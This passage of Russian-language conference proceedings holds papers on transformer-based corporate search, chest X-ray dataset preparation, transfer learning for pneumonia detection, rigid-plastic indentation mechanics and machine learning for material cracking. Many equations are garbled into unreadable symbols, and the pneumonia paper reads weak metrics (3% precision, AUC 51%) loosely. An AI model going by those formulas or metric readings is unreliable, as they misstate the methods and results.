ные с использованием RNN, а 𝑊— весовая матрица. 

Однако, несмотря на свою успешность, обе эти архитектуры не всегда обеспечи-
вают высокую точность на больших объёмах данных, что стало причиной перехода к 
более мощным моделям. 

Модели на основе трансформеров 
В современных системах интеллектуального поиска особое место занимают 

трансформерные архитектуры, такие как BERT и его производные — RoBERTa, 
DistilBERT, ColBERT. Эти модели задействуют механизм самовнимания, позволяющий 
учитывать контекстualные связи на всех уровнях текста. Благодаря этому они одинако-
во успешно обрабатывают как лаконичные пользовательские запросы, так и разверну-
тые фрагменты документации. В отличие от традиционных подходов, трансформеры 
проходят предварительное обучение на масштабных корпусах данных, что позволяет 
им распознавать и интерпретировать сложные смысловые связи, тем самым значитель-
но повышая релевантность результатов поиска. 

Модель BERT, в частности, использует стратегию предварительного обучения, 
известную как Masked Language Modeling (MLM). В этом процессе отдельные слова в 
предложении скрываются с помощью специальных масок, а задача модели — на основе 
контекста восстановить исходные термины. Суть метода можно формализовать следу-
ющим образом: 

 𝑃ሺ𝑤|𝑤ଵ, 𝑤ଶ, … , 𝑤ିଵ, 𝑤ାଵ, … , 𝑤ሻ ൌ softmaxሺ𝑊ℎሻ, (2) 
где 𝑤 — это маскированное слово, а ℎ — скрытое состояние, полученное после про-
хождения токенов через слои внимания. 

Эмбеддинговые модели 
Модели, специализирующиеся на формировании эмбеддингов для пользователь-

ских запросов и текстов документов (такие как Sentence-BERT или DPR), преобразуют 
текстовую информацию в компактные векторные представления. Эти векторы легко 
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поддаются индексации, что позволяет эффективно осуществлять поиск даже в масшта-
бах миллиардных коллекций. Благодаря такому подходу резко снижается время откли-
ка системы и одновременно повышается точность нахождения релевантных материа-
лов. 

Каждое текстовое обращение — будь то запрос или документ — проходит через 
нейросетевую модель, преобразующую его в соответствующий числовой вектор: 

 𝑣 ൌ 𝑓ሺ𝑞ሻ,  𝑣ௗ ൌ 𝑓ௗሺ𝑑ሻ, (3) 
где 𝑣 и 𝑣ௗ — векторные представления запроса и документа, соответственно. Затем 
для оценки релевантности используется косинусное расстояние: 

 𝑐𝑜𝑠𝑖𝑛𝑒 𝑠𝑖𝑚𝑖𝑙𝑎𝑟𝑖𝑡𝑦 ൌ
௩⋅௩

||௩||||௩||
. (4) 

Проблемы и вызовы при внедрении нейросетей в корпоративные поиско-
вые системы 

Несмотря на впечатляющие успехи, внедрение нейросетевых моделей в корпо-
ративные поисковые системы сопровождается рядом серьёзных вызовов: 

1. Проблемы масштабирования: Модели глубокого обучения требуют значи-
тельных вычислительных ресурсов. Это особенно критично для компаний, чья инфра-
структура не рассчитана на постоянную обработку больших объёмов данных с исполь-
зованием мощных ИИ-решений; 

2. Низкая объяснимость решений: Современные нейросетевые архитектуры, 
особенно трансформеры, работают как «чёрный ящик». Их внутренние механизмы за-
частую непонятны для конечного пользователя, что затрудняет интерпретацию резуль-
татов — а это важный фактор в корпоративной аналитике, где требуется прозрачность; 

3. Ограниченность обучающей выборки: Во многих компаниях нет воз-
можности собрать и аннотировать достаточное количество качественных данных для 
обучения. Это вынуждает прибегать к обучению на малых данных, что снижает обоб-
щающую способность моделей; 

4. Затраты на переобучение: Обновление моделей в соответствии с текущи-
ми данными требует времени, квалифицированных специалистов и вычислительных 
мощностей. В быстро меняющихся бизнес-условиях это становится препятствием для 
регулярного обновления поиска и поддержания его актуальности. 

Применение нейросетей в реальных корпоративных поисковых системах 
Интеграция нейросетевых технологий в такие области, как онлайн-торговля, 

здравоохранение, юриспруденция и корпоративные базы знаний, привела к заметному 
росту точности поиска и релевантности выдачи. В частности, внедрение моделей се-
мейства BERT в системы управления корпоративными документами способствовало не 
только ускорению процесса поиска, но и более точному распознаванию смысла запро-
сов благодаря учёту контекстуальных связей между словами. 

Показательным примером служит применение архитектуры ColBERT в поиско-
вых системах юридических документов, где крайне важно улавливать нюансы терми-
нологии, синонимию и специфический правовой контекст формулировок. 

Нейросетевые технологии, особенно модели на базе трансформеров, зарекомен-
довали себя как мощный инструмент повышения качества поиска в рамках корпора-
тивных ИТ-систем. Их способность улавливать смысловую структуру запросов и доку-
ментов позволяет достигать значительно большей точности и гибкости по сравнению с 
классическими подходами. Вместе с тем, эффективная интеграция подобных решений 
требует преодоления ряда вызовов, включая вопросы масштабируемости, сложности 
интерпретации результатов и ограниченности доступных обучающих данных. В пер-
спективе ожидается дальнейшее развитие этих моделей, что сделает их ещё более про-
дуктивными и пригодными для массового использования в корпоративной среде. 
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ANALYSIS AND OPTIMIZATION OF THE PROCESS OF CREATING A DATASET 
FOR AUTOMATED ANALYSIS OF CHEST X-RAY IMAGES 
 
Аннотация. Целью работы является анализ и оптимизация процесса создания датасета 
для автоматизированного анализа рентгеновских снимков грудной клетки с использо-
ванием методов машинного обучения. Предмет исследования включает методы сбора, 
предобработки, а также их влияние на качество моделирования процесса распознавания 
патологий. В ходе работы были рассмотрены ключевые этапы формирования датасета: 
от выбора источников данных до стандартизации изображений и их разметки экспер-
тами. Результаты показали, что качественная предобработка и балансировка данных 
значительно улучшают точность моделей машинного обучения. Были рассмотрены да-
тасеты, содержащий более 5000 изображений грудной клетки, которые могут быть ис-
пользован для обучения нейронной сети. 
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Abstract. The aim of the work is to analyze and optimize the process of creating a dataset for 
automated analysis of chest X-ray images using machine learning methods. The subject of the 
study includes methods of data collection, preprocessing and annotation, as well as their im-
pact on the quality of modeling the pathology recognition process. In the course of the work, 
the key stages of dataset formation were considered: from the selection of data sources to the 
standardization of images and their labeling by experts. The results showed that high-quality 
preprocessing and data balancing significantly improve the accuracy of machine learning 
models. Datasets containing more than 5,000 chest images were considered, which can be 
used to train a neural network. 
Ключевые слова: Рентгеновские снимки грудной клетки, формирование датасета, ма-
шинное обучение, предобработка данных, автоматизированная диагностика. 
Key words: Chest X-rays, dataset formation, machine learning, data preprocessing, automated 
diagnostics. 
 

Современные технологии искусственного интеллекта и машинного обучения от-
крывают новые возможности для автоматизации анализа медицинских изображений, 
включая рентгенографию грудной клетки. Рентгеновские снимки широко используются 
для диагностики таких заболеваний, как пневмония, туберкулёз и рак лёгких. Однако 
их анализ требует высокой квалификации врачей-рентгенологов и значительных вре-
менных затрат, что создаёт проблемы, особенно в условиях глобального дефицита спе-
циалистов. Актуальность темы обусловлена необходимостью повышения эффективно-
сти диагностических систем за счёт автоматизации. Качество работы моделей ИИ 
напрямую зависит от используемого датасета, что делает процесс его формирования 
ключевым этапом разработки. Существующие датасеты часто страдают от несбаланси-
рованности классов, шумов и недостаточной аннотации. Исследование [1] подчёркива-
ет важность предобработки данных для повышения точности моделей. 

Цель работы – анализ и оптимизация процесса создания датасета для автомати-
зированного анализа рентгенограмм грудной клетки. Особое внимание уделяется сбору 
данных, их предобработке, аннотации и балансировке. Исследование направлено на 
решение проблем качества и репрезентативности датасетов, что позволит улучшить 
точность диагностических систем. 

Степень разработанности темы в научной литературе достаточно высока, но ос-
новное внимание уделяется алгоритмической части анализа изображений. Вопросы 
формирования датасетов остаются недостаточно изученными.  

Источники набора данных 
Формирование качественного датасета является ключевым этапом в разработке 

систем автоматизированного анализа рентгеновских снимков грудной клетки. В данной 
главе рассматриваются примеры источников данных. 

Пример источников данных — это открытый репозиторий Mendeley Data, кото-
рый предоставляет доступ к большому количеству медицинских изображений, включая 
рентгенограммы грудной клетки. Данный датасет был создан группой исследователей. 
Он содержит более ~5000 изображений грудной клетки, разделённых на классы: здоро-
вые пациенты и пациенты с различными патологиями, такими как пневмония. Особен-
ностью данного источника является его высокая репрезентативность и надёжность, по-
скольку все изображения были тщательно проверены экспертами-рентгенологами. 
Данный датасет используется для создания обучающей, тестовой и валидационной вы-
борок, что обеспечивает базу для обучения моделей машинного обучения. 

Вторым источником данных является платформа «Kaggle», которая предостав-
ляет удобный интерфейс для работы с датасетами, оптимизированными для задач ма-
шинного обучения. В частности, датасет Pneumonia X-ray Images, содержит коллекцию 
рентгеновских снимков, специально подготовленных для работы с нейронными сетями. 
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Этот датасет включает изображения пациентов с диагностированной пневмонией и без 
неё, что делает его особенно полезным для задач бинарной классификации. Кроме того, 
данные уже предобработаны и стандартизированы, что значительно упрощает их ис-
пользование в экспериментах. 

Оба источника дополняют друг друга и позволяют создать датасет, подходящий 
для различных задач анализа медицинских изображений. Данные из Mendeley Data 
обеспечивают широкое разнообразие случаев и высокую точность аннотации, тогда как 
датасет с Kaggle предоставляет готовые к использованию данные, ориентированные на 
работу с современными алгоритмами машинного обучения. 

Таким образом, комбинация этих источников позволяет собрать репрезентатив-
ный датасет, охватывающий широкий спектр клинических случаев и обеспечивающий 
высокое качество обучения моделей. Это делает возможным дальнейшее применение 
таких моделей для автоматизированной диагностики заболеваний по рентгенограммам 
грудной клетки. 

Выборки 
Рассмотрены различные подходы к реализации процесса формирования датасета 

для автоматизированного анализа рентгеновских снимков грудной клетки. Особое вни-
мание уделяется методам сбора данных, их предобработке, разбиению на обучающую, 
тестовую и валидационную выборки [2].  

Одним из ключевых этапов подготовки данных является их разделение на три 
основные части: обучающую (train), тестовую (test) и валидационную (val). Обучающая 
выборка используется для обучения модели машинного обучения, тестовая — для 
оценки её производительности на новых данных, а валидационная — для настройки 
гиперпараметров и предотвращения переобучения. Распределение данных между этими 
частями должно быть сбалансированным, чтобы обеспечить репрезентативность каж-
дой выборки и минимизировать риск смещения модели.  

В таблице 1 представлено типичное распределение датасета на train, test и val 
выборки. Пропорции разбиения зависят от общего объёма данных и задачи, однако 
стандартным считается соотношение 70%/15%/15% или 80%/10%/10%. В нашем иссле-
довании использовалось распределение 70%/15%/15%, что позволило эффективно обу-
чить модель и оценить её точность.  

Таблица 1 – Выборки 
Выборка Доля дан-

ных (%) 
Примерное коли-
чество изображе-

ний 

Описание 

Train  70 ~3500 Используется для обучения модели. 
Test  15 ~750 Используется для оценки производи-

тельности модели на новых данных. 
Val  15 ~750 Используется для настройки гиперпа-

раметров и предотвращения переобуче-
ния. 

Для обеспечения качества разбиения применялся стратифицированный подход, 
при котором данные распределялись таким образом, чтобы каждая выборка содержала 
примерно одинаковое соотношение классов (например, здоровые пациенты и пациенты 
с пневмонией). Это особенно важно для задач классификации, где дисбаланс классов 
может значительно снизить точность модели [3].  

Помимо разбиения данных, важным этапом является их предобработка. Изобра-
жения были стандартизированы по размеру (например, до 224×224 пикселей) [4], нор-
мализованы по яркости и контрастности, а также очищены от шумов. Аннотация дан-
ных выполнялась группой экспертов-рентгенологов, что обеспечило высокую точность 
разметки. Таким образом, методология формирования датасета включает несколько по-
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следовательных этапов: сбор данных, их предобработку, разбиение на выборки. Эти 
шаги позволяют создать качественный и репрезентативный датасет, который служит 
основой для успешного обучения моделей машинного обучения [5].  

В рамках данной работы была достигнута поставленная цель — проведён анализ 
и оптимизация процесса создания датасета для автоматизированного анализа рентге-
новских снимков грудной клетки с использованием методов машинного обучения. Ис-
следование охватило ключевые этапы формирования датасета, включая сбор данных, 
их предобработку, разбиение на обучающую, тестовую и валидационную выборки, а 
также аннотацию изображений экспертами. 
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СНИМКОВ РЕНГЕНОВСКОГО ОБСЛЕДОВАНИЯ ГРУДНОЙ КЛЕТКА,  
С ИСПОЛЬЗОВАНИЕМ ГЛУБОКОГО ОБУЧЕНИЯ 
 
MATHEMATICAL MODELING OF THE PROCESS OF RECOGNITION  
OF CHEST X-RAY IMAGES USING DEEP LEARNING 
 
Аннотация. В современной медицине рентгенография остаётся одним из наиболее рас-
пространённых и доступных методов скрининга лёгочных заболеваний. Однако тради-
ционный подход к анализу рентгеновских снимков имеет свои ограничения. Человече-
ский фактор и субъективность оценки могут привести к ошибкам диагностики. В дан-
ной работе раскрыты цель и задачи работы, выполнен литературный обзор по теме, со-
здана нейронная сеть для прогнозирования типов пневмонии на основе рентгеновских 
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снимков, которая будет служить дополнительным «Ассистентом» при выставлении ди-
агноза врачом. 
Abstract. In modern medicine, radiography remains one of the most common and accessible 
methods of screening for pulmonary diseases. However, the traditional approach to analyzing 
X-ray images has its limitations. The human factor and subjectivity of the assessment can lead 
to diagnostic errors. This paper discloses the purpose and objectives of the work, a literature 
review on the topic was performed, a neural network was created to predict types of pneumo-
nia based on X-ray images, the process will serve as an additional «Assistant» when a doctor 
makes a diagnosis. 
Ключевые слова: глубокое обучение, рентгеновские снимки, свёрточные нейронные 
сети, переносное обучение, обнаружение пневмонии. 
Key words: deep learning, x-rays, convolutional neural networks, transfer learning, pneumo-
nia detection. 
 

Автоматизация анализа рентгеновских снимков грудной клетки с использовани-
ем методов глубокого обучения становится важным направлением в медицинской диа-
гностике. Рентгенограммы широко применяются для выявления патологий, таких как 
пневмония и рак лёгких, однако их интерпретация требует высокой квалификации вра-
ча и может быть подвержена ошибкам. Применение глубокого обучения и свёрточных 
нейронных сетей (CNN) позволяет повысить точность и скорость диагностики. 

Глубокое обучение уже показало свою эффективность в задачах классификации 
изображений. Например, модель, предобученная на наборе данных NIH Chest X-ray [1], 
демонстрирует AUC ROC около 80% для диагностики пневмонии. Однако многие ис-
следования ограничиваются работой с конкретными наборами данных, что снижает 
универсальность моделей. Проблемы несбалансированности данных и различий в про-
токолах сбора также остаются актуальными. 

Целью работы является повышение точности распознавания патологий на рент-
геновских снимках за счёт передачи знаний (transfer learning). Планируется адаптиро-
вать предобученную модель для нового набора данных, что позволит учесть его специ-
фику и улучшить производительность. Такой подход имеет потенциал для широкого 
применения в клинической практике. 

Производительность основной модели 
Основная модель, которая впоследствии будет использована для анализа рентге-

новских снимков грудной клетки, была обучена на архитектуре EfficientNetB1. Этот 
вариант нейронной сети отличается высокой эффективностью за счёт баланса между 
точностью и вычислительной сложностью, что делает его подходящим выбором для 
задач классификации изображений в медицине. Одним из ключевых показателей про-
изводительности модели является график AUC ROC (Area Under the Curve - Receiver 
Operating Characteristic) (рисунок 1), который для диагностики пневмонии составляет 
около 80%.  

График AUC ROC отражает способность модели различать классы (например, 
больных и здоровых пациентов). Он строится на основе двух параметров: чувствитель-
ности (True Positive Rate, TPR) и специфичности (False Positive Rate, FPR). Чем ближе 
значение AUC к 1, тем лучше модель справляется с задачей классификации. В данном 
случае значение 80% указывает на достаточно высокую способность модели корректно 
идентифицировать случаи пневмонии. Дополнительные параметры производительно-
сти модели представлены в таблице 1.  
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Рисунок 9 – График AUC ROC 

 
Таблица 1 – Дополнительные показатели производительности 

Патология Accuracy, % Precision, % Recall, % F1-Score, % 
Пневмония  ~80 3 65 6 
Рассмотрим каждый из этих параметров более подробно:  
Accuracy (точность классификации) – доля правильно предсказанных случаев 

относительно общего числа примеров: 

𝐴𝑐𝑐𝑢𝑟𝑎𝑐𝑦 ൌ ்ା்ே

்ା்ேା்ାிே
,  (1) 

где TP (True Positive) — верно предсказанные положительные случаи; 
TN (True Negative) — верно предсказанные отрицательные случаи; 
FP (False Positive) — ложноположительные предсказания; 
FN (False Negative) — ложноотрицательные предсказания. 

Precision (точность) – доля верно предсказанных положительных случаев отно-
сительно всех предсказанных положительных случаев: 

𝑃𝑟𝑒𝑐𝑖𝑠𝑖𝑜𝑛 ൌ ்

்ାி
. (2) 

Recall (полнота) (3) – доля верно предсказанных положительных случаев отно-
сительно всех фактически положительных случаев: 

𝑅𝑒𝑐𝑎𝑙𝑙 ൌ ்

்ାிே
.  (3) 

F1-Score (F-мера) – гармоническое среднее между точностью и полнотой, кото-
рое учитывает оба параметра:  

𝐹1– 𝑆𝑐𝑜𝑟𝑒 ൌ 2 ௦∗ோ

௦ାோ
  (4) 

Из представленных данных видно, что модель демонстрирует высокий уровень 
полноты (Recall = 65%), что означает, что она хорошо выявляет большинство случаев 
пневмонии. Однако точность (Precision = 3%) и F1-Score (6%) находятся на низком 
уровне, что может быть связано с несбалансированностью данных или особенностями 
обучения модели. Эти параметры требуют дальнейшей оптимизации для повышения 
общей производительности модели [4]. 
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Перенос обучения (Transfer learning) 
Одним из ключевых этапов исследования стало применение метода переноса 

обучения, который позволяет использовать знания, полученные моделью на одном 
наборе данных, для решения аналогичной задачи на другом наборе. В данном случае 
была взята предобученная модель на основе архитектуры EfficientNetB1, обученная на 
наборе данных NIH Chest X-ray, и адаптирована для нового набора данных, состоящего 
из 5,856 рентгеновских снимков грудной клетки. Этот набор данных был разделён на 
три части: учебную (4,192 изображения), проверочную (1,040 изображений) и тестовую 
(624 изображения). Распределение классов в наборе данных показывает, что доля нор-
мальных случаев составляет около 30%, а доля случаев помутнения лёгких — около 
70%. 

После адаптации модели на новом наборе данных были получены следующие 
результаты производительности (Таблица 2). 

Таблица 2 – Показатели производительности на двух классах 
Патология Accuracy, % Precision, % Recall, % F1-Score, % 

Норма 55 39 33 36 
Пневмония 55 63 69 66 
Эти показатели свидетельствуют о том, что модель демонстрирует умеренную 

точность (Accuracy = 55%) и относительно высокие значения полноты (Recall = 69%) и 
F1-Score (66%) для класса «Пневмония». Однако для класса «Норма» значения 
Precision, Recall и F1-Score оказались значительно ниже, что указывает на сложности 
модели в корректной классификации здоровых пациентов. 

График AUC ROC (рисунок 2) для модели после переноса обучения составил 
51%, что является близким к случайному уровню (50%). Это говорит о том, что модель 
не проявляет достаточной способности различать классы «Норма» и «Пневмония» на 
тестовой выборке. Такой результат может быть связан с особенностями нового набора 
данных, включая его размер, качество изображений и распределение классов. 

Для более детального анализа производительности модели была построена мат-
рица ошибок (confusion matrix) (рисунок 2), основанная на тестовой выборке [5]. 

Матрица ошибок наглядно демонстрирует, что модель склонна к ложноположи-
тельным предсказаниям (FP = 157), что снижает её точность (Precision) для класса 
«Норма». В то же время значительное количество ложноотрицательных предсказаний 
(FN = 120) указывает на недостаточную чувствительность модели для класса «Пневмо-
ния» [4]. 

 
Рисунок 10 – Матрица ошибок, AUC ROC 

Целью работы было повышение точности распознавания патологий на рентге-
новских снимках грудной клетки с использованием transfer learning. Модель на основе 
EfficientNetB1 была адаптирована для нового набора данных (5,856 изображений). Ре-
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зультаты показали Accuracy = 55%, Recall = 69% и F1-Score = 66% для класса «Пневмо-
ния», но AUC ROC составил всего 51%. Низкие значения Precision и F1-Score для клас-
са «Норма» указывают на проблемы, связанные с несбалансированностью данных. Для 
улучшения данных планируется балансировка классов и аугментация данных [5]. 
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ЧИСЛЕННОЕ РЕШЕНИЕ ЗАДАЧИ О ВНЕДРЕНИИ АБСОЛЮТНО 
ШЕРОХОВАТОГО ЦИЛИНДРА В ЖЕСТКОПЛАСТИЧЕСКОЕ 
ПОЛУПРОСТРАНСТВО 
 
NUMERICAL SOLUTION OF THE PROBLEM OF PENETRATION  
OF A PERFECTLY ROUGH CYLINDER INTO A RIGID-PLASTIC HALF-SPACE 
 
Аннотация. В представленной работе приводится численное решение задачи о дефор-
мировании жесткопластического полупространства при внедрении в него абсолютно 
шероховатого цилиндра. Предполагается, что проскальзывание на поверхности контак-
та отсутствует. Результатом работы является численное решение системы дифференци-
альных уравнений, позволяющей определить пластическую область и деформирован-
ную границу материала. 
Abstract. In this paper we present a numerical solution to the problem of the deformation of a 
rigid-plastic half-space when a perfectly rough cylinder is inserted into it. It is assumed that 
there is no slip on the contact surface. The result is the numerical solution of a system of dif-
ferential equations which allows us to determine the plastic region and the deformed surface 
of the material. 
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Целью работы является численное решение задачи о внедрении абсолютно ше-

роховатого цилиндра радиуса 𝑟 ൌ 1 в жесткопластическое полупространство при от-
сутствии проскальзывания на поверхности контакта. 

Решение задачи состоит в определении координат точек образования и подмятия 
штампом деформированной поверхности, угла раскрытия центрированного веера ха-
рактеристик, формы свободной поверхности. На первом этапе процесс деформирования 
происходит при углах раскрытия веера близких к первоначальному. На втором этапе 
перечисленные параметры определяются решением системы дифференциальных урав-
нений с отклоняющимся аргументом [5]. 

Полученные в ходе работы результаты актуальны при расчётах прочности кон-
струкций различного назначения, поскольку могут быть использованы для вычисления 
деформаций, получаемых в процессе внедрения частицами материала в окрестностях 
особенностей поля линий скольжения. 

Поле скоростей в данной задаче впервые было предложено Прандтлем при ре-
шении задач о предельном равновесии выпуклого шероховатого штампа и жёсткопла-
стического полупространства. Решение задачи о штампе также было предложено Р. 
Хиллом [3]. Им же в работе [2] рассматривалось решение задачи о сжатии клина плос-
ким штампом. Обобщение решений Хилла и Прандтля для задачи о сжатии выпуклого 
тела плоским штампом и задаче о сжатии двух выпуклых жесткопластических тел при-
водится в работах [1] и [4]. 

Теоретической основой для решения задачи является задача о сжатии двух сим-
метричных выпуклых жёсткопластических тел. Выбранная сетка линий скольжения 
(рис. 1) состоит из центрированного веера 𝐵𝐴𝐷 и треугольника 𝐴𝐶𝐷, угол наклона от-
резка 𝐴𝐵 к плоскости симметрии 𝑦 ൌ 0 равен 

గ

ସ
. Материал в области 𝐺𝐴𝐵 перемещается 

вместе с верхним телом как  жёсткое целое. Жёсткая область деформируемого тела ни-
же линии 𝐵𝐷𝐶 покоится. 

 
Рисунок 1 – Поле линий скольжения по схеме Хилла 

Система в начальный момент времени состоит из трёх уравнений: 

 𝑐𝑜𝑠 𝜓 ൌ ଵ

ଶ
𝑓′ଵሺ0ሻ െ ଵ

ଶ௫ᇲ
ಲሺሻ

െ ଵ

ଶ
𝑓ᇱ
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 𝑥′ሺ0ሻ െ √ଶ

ଶ
𝑐𝑜𝑠 ቀ𝜓 െ గ

ସ
ቁ ൌ ቂ𝑥′ሺ0ሻሺ1  2 𝑠𝑖𝑛 𝜓ሻ െ √ଶ

ଶ
𝑐𝑜𝑠 ቀ𝜓 െ గ

ସ
ቁቃ 𝜏′ሺ0ሻ, (1) 

 𝑓′ଵሺ0ሻ𝑥′ሺ0ሻ െ 1 െ √ଶ
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ସ
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 ቂ𝑓′ଶሺ0ሻ𝑥′ሺ0ሻሺ1  2 sin 𝜓ሻ െ √ଶ

ଶ
sin ቀ𝜓 െ గ

ସ
ቁቃ 𝜏′ሺ0ሻ 

с двумя неизвестными производными 𝑥′ሺ0ሻ, 𝜏′ሺ0ሻ. Здесь 𝑓ଵሺ𝑥ሻ ൌ 1 െ √1 െ 𝑥ଶ, 𝑓ଶሺ𝑥ሻ ൌ
0.  Параметр запаздывания 𝜏 вводится следующим образом: точки, которые в момент 
времени 𝑡 займут положение точек 𝐴 и 𝐶, на кривой  𝐹ሺ𝑥ሻ занимают положение точек 
𝐴′, 𝐶′ (рис. 1). В некоторый момент времени 𝜏ሺ𝑡ሻ точка 𝐶′ находилась в том же положе-
нии, что и точка 𝐴ᇱ в момент времени 𝑡, этот момент времени и принимается за  пара-
метр запаздывания.  

Условие совместности системы (1) определяет начальное значение угла 𝜓 и 
имеет вид 

 𝑓′ଵሺ0ሻ ൌ 4 cos 𝜓 ሺ1  sin 𝜓ሻ  𝑓′ଶሺ0ሻሺ1  2 sin 𝜓ሻଶ, (2) 
тогда 𝜓 ൌ గ

ଶ
. 

 Построение решения  в окрестности 𝑡 ൌ 0 с помощью уравнений (1) затрудни-
тельно, так как 𝑥′ሺ0ሻ обращается в бесконечность. Из тех же уравнений следует, что 
при 𝑓′ଵሺ0ሻ и 𝑓′ଶሺ0ሻ близких к нулю, деформирование в окрестности 𝑡 ൌ 0 происходит 
при углах 𝜓 близких к 𝜓 ൌ గ

ଶ
. Тогда, аналогично задаче о сжатии выпуклого тела 

плоским штампом, можно считать, что на начальном этапе от 𝑡 ൌ 0 до 𝑡ଵ ൌ 0.0001 де-
формирование происходит при  𝜓 ൌ 𝜓. Положение точек 𝐴 и 𝐶 определяется системой 
уравнений 

 
𝑥ሺ𝑡ሻ ൌ 𝑥ሺ𝑡ሻ൫1  2 𝑠𝑖𝑛൫𝜓ሺ𝑡ሻ൯൯,

𝑓ଵ൫𝑥ሺ𝑡ሻ൯ െ 𝑡 െ 𝑓ଶ൫𝑥ሺ𝑡ሻ൯ ൌ 2𝑥ሺ𝑡ሻ 𝑐𝑜𝑠൫𝜓ሺ𝑡ሻ൯ .
 (3) 

 На втором этапе функция 𝜓ሺ𝑡ሻ, а также координаты 𝑥, 𝑥 находятся из сов-
местного решения уравнений 

 

𝑥′ሺ𝑡ሻ െ √ଶ

ଶ
𝑐𝑜𝑠 ቀ𝜓ሺ𝑡ሻ െ గ

ସ
ቁ ൌ 𝑥ᇱ

ሺ𝜏ሻ𝜏ᇱሺ𝑡ሻ െ √ଶ

ଶ
𝑐𝑜𝑠 ቀ𝜓ሺ𝜏ሻ െ గ

ସ
ቁ 𝜏ᇱሺ𝑡ሻ,

𝑓′ଵ൫𝑥ሺ𝑡ሻ൯𝑥′ሺ𝑡ሻ െ 1 െ √ଶ

ଶ
𝑠𝑖𝑛 ቀ𝜓ሺ𝑡ሻ െ గ

ସ
ቁ ൌ

ൌ 𝑓′ଶ൫𝑥ሺ𝜏ሻ൯𝑥ᇱ
ሺ𝜏ሻ𝜏′ሺ𝑡ሻ െ √ଶ

ଶ
𝑠𝑖𝑛 ቀ𝜓ሺ𝜏ሻ െ గ

ସ
ቁ 𝜏′ሺ𝑡ሻ

 (4) 

и системы (3). 
 На рисунке 2 приведён график изменения угла 𝜓 с течением времени. 

 
Рисунок 2 – График изменения угла раскрытия веера 𝜓ሺ𝑡ሻ 

Так как деформированная поверхность 𝑦 ൌ 𝐹ሺ𝑥, 𝑡ሻ в каждый момент времени 𝑡 
перемещается поступательно, её можно представить в виде 

 𝐹ሺ𝑥, 𝑡ሻ ൌ 𝐹൫𝑥 െ 𝑇ଵሺ𝑡ሻ൯  𝑇ଶሺ𝑡ሻ, (6) 
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где 𝑇ଵሺ𝑡ሻ ൌ 𝜐ఈ  cos ቀ𝜓ሺ𝜆ሻ െ గ

ସ
ቁ 𝑑𝜆

௧
 , 𝑇ଶሺ𝑡ሻ ൌ 𝜐ఈ  sin ቀ𝜓ሺ𝜆ሻ െ గ

ସ
ቁ 𝑑𝜆

௧
 , 𝑦 ൌ 𝐹ሺ𝑥ሻ – поверх-

ность, смещение которой вдоль 𝐷𝐶 образует деформированную поверхность 𝑦 ൌ
𝐹ሺ𝑥, 𝑡ሻ. 

 
Рисунок 3 – Пластическая область и деформированная поверхность 

На рисунке 3 приведены пластическая область (пунктирная линия) и деформи-
рованная поверхность материала в момент времени 𝑡ଶ ൌ 0.01.  

На рисунке 4 приведены сравнительные зависимости угла раствора веера 𝜓ሺ𝑡ሻ, 

безразмерного давления на линии контакта 
ሺ௧ሻ

ଶ
ൌ 1  𝜓ሺ𝑡ሻ, и удельного необходимого 

усилия на единицу длины штампа 
ோሺ௧ሻ

ଶ
ൌ 4𝑥ሺ𝑡ሻ൫1  𝜓ሺ𝑡ሻ൯ без учёта формы деформиро-

ванной поверхности (пунктирная линия) и с учётом её. 

 
Рисунок 4 – График изменения удельного усилия, необходимого для сжатия 

гиперболического цилиндра плоским штампом 
Результатом работы является численное решение задачи о внедрении абсолютно 

шероховатого цилиндра радиуса 𝑟 ൌ 1 в жесткопластическое полупространство при 
отсутствии проскальзывания на поверхности контакта. Построены графики зависимо-
сти изменения угла раскрытия веера 𝜓 от времени, сравнительные зависимости угла 
раствора веера, безразмерного давления на линии контакта и удельного необходимого 
усилия на единицу длины штампа без учёта и с учётом формы деформированной по-
верхности; также построены пластическая область и деформированная поверхность в 
момент времени 𝑡ଶ ൌ 0.01.  
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РЕШЕНИЕ ЗАДАЧ КЛАССИФИКАЦИИ И РЕГРЕССИИ   
ПРИ ИССЛЕДОВАНИИ ПОВЕДЕНИЯ МАТЕРИАЛА  
ПРИ ТРЕЩИНООБРАЗОВАНИИ 
 
SOLUTION TO THE CLASSIFICATION PROBLEM IN STUDYING  
THE BEHAVIOR OF A MATERIAL DURING CRACKING 

 
Аннотация. В статье рассматриваются возможности применении методов машинного 
обучения для исследования поведения материалов при трещинообразовании. Предло-
жена модель на основе метода случайного леса для решения задачи классификации, 
направленной на определение условий, при которых происходит разрушение платин с 
продольным растяжением. В ходе работы изучено влияние таких факторов, как тип ма-
териала (алюминий и сталь), форма образца (наличие отверстия или его отсутствие) и 
характер приложенной силы, на процесс образования трещин. Также решена обратная 
задача с использованием метода дерева решений для построения регрессионной моде-
ли, предсказывающей вероятность трещинообразования. Полученные результаты де-
монстрируют высокую эффективность применения машинного обучения для анализа 
сложных механических процессов и могут быть использованы для улучшения прогно-
зирования надежности конструкционных материалов. 
Abstract. The article discusses the possibilities of using machine learning methods to study 
the behavior of materials during crack formation. A model based on the random forest method 
is proposed to solve a classification problem aimed at determining the conditions under which 
longitudinal tension dams fail. In the course of the work, the influence of such factors as the 
type of material (aluminum and steel), the shape of the sample (the presence or absence of a 
hole) and the nature of the applied force on the crack formation process was studied. An in-
verse problem was also solved using the decision tree method to build a regression model 
predicting the probability of crack formation. The results obtained demonstrate the high effi-
ciency of using machine learning to analyze complex mechanical processes and can be used 
to improve the prediction of the reliability of structural materials. 
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Трещинообразование в материалах, представляющее собой одну из ключевых 

проблем современной механики разрушения и материаловедения, непосредственно 
влияет на надежность, долговечность и безопасность конструкций, используемых в 
различных отраслях промышленности. Исследование условий образования и распро-
странения трещин позволяет выявить критические факторы, способствующие разруше-
нию, и разработать методы повышения устойчивости материалов к механическим 
нагрузкам [1], [2], [3]. 

Современные технологии машинного обучения (ML) открывают новые возмож-
ности для моделирования и прогнозирования поведения материалов при трещинообра-
зовании, позволяя эффективно обрабатывать большие объемы данных и выявлять 
скрытые закономерности. В данной работе представлены две модели машинного обу-
чения, предназначенные для решения задач классификации и регрессии в контексте ис-
следования трещинообразования. Первая модель, основанная на методе случайного ле-
са, решает задачу классификации, определяя условия, при которых происходит разру-
шение пластин с продольным растяжением. Вторая модель, построенная и использова-
нием метода дерева решений, решает обратную задачу регрессии, предсказывая веро-
ятность трещинообразования в зависимости от типа материала (алюминий и сталь), 
формы образца (наличие отверстия или его отсутствие) и характера приложенной силы. 

Целью исследования является демонстрация возможностей применения методов 
машинного обучения для анализа сложных механических процессов и разработка ин-
струментов, которые могут быть использованы для прогнозирования надежности кон-
струкционных материалов. Результаты работы имею практическую значимость для ин-
